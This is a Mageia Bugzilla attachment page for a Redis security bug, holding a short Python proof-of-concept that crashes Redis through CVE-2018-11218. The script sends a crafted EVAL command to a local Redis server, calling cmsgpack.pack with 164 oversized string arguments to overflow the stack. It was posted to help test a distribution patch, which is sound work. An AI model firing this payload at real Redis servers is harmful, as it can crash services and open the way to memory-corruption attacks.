Mageia Bugzilla – Attachment 10269 Details for
Bug 23200
redis new security issues CVE-2018-11218 and CVE-2018-11219
Home
|
New
|
Browse
|
Search
|
[?]
|
Reports
|
Requests
|
Help
|
Log In
[x]
|
New Account
|
Forgot Password
Python script to reproduce CVE-2018-11218 problem
trigger.py (text/plain), 711 bytes, created by
Len Lawrence
on 2018-07-05 09:11:13 CEST
(
hide
)
Description:
Python script to reproduce CVE-2018-11218 problem
Filename:
MIME Type:
Creator:
Len Lawrence
Created:
2018-07-05 09:11:13 CEST
Size:
711 bytes
patch
obsolete
>import os >import socket > >server = '127.0.0.1' >port = 6379 > >def send_to_redis(server, port, data, timeout=2): > s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) > s.settimeout(timeout) > s.connect((server, port)) > try: > s.send(data) > except socket.timeout: > print 'Unable to connect to target ; returning' > return None > s.close() > >def main(): > val = '"%s"' % ('A'*500) > > script = "cmsgpack.pack(" > for x in range(164): > script += "%s," % val > script = script[:-1] > script += ")" > > payload = "*3\r\n$4\r\nEVAL\r\n$%s\r\n%s\r\n$1\r\n0\r\n" % (len(script),script) > > send_to_redis(server, port, payload) > >if __name__ == '__main__': > main()
import os import socket server = '127.0.0.1' port = 6379 def send_to_redis(server, port, data, timeout=2): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) s.connect((server, port)) try: s.send(data) except socket.timeout: print 'Unable to connect to target ; returning' return None s.close() def main(): val = '"%s"' % ('A'*500) script = "cmsgpack.pack(" for x in range(164): script += "%s," % val script = script[:-1] script += ")" payload = "*3\r\n$4\r\nEVAL\r\n$%s\r\n%s\r\n$1\r\n0\r\n" % (len(script),script) send_to_redis(server, port, payload) if __name__ == '__main__': main()
View Attachment As Raw
Actions:
View
Attachments on
bug 23200
: 10269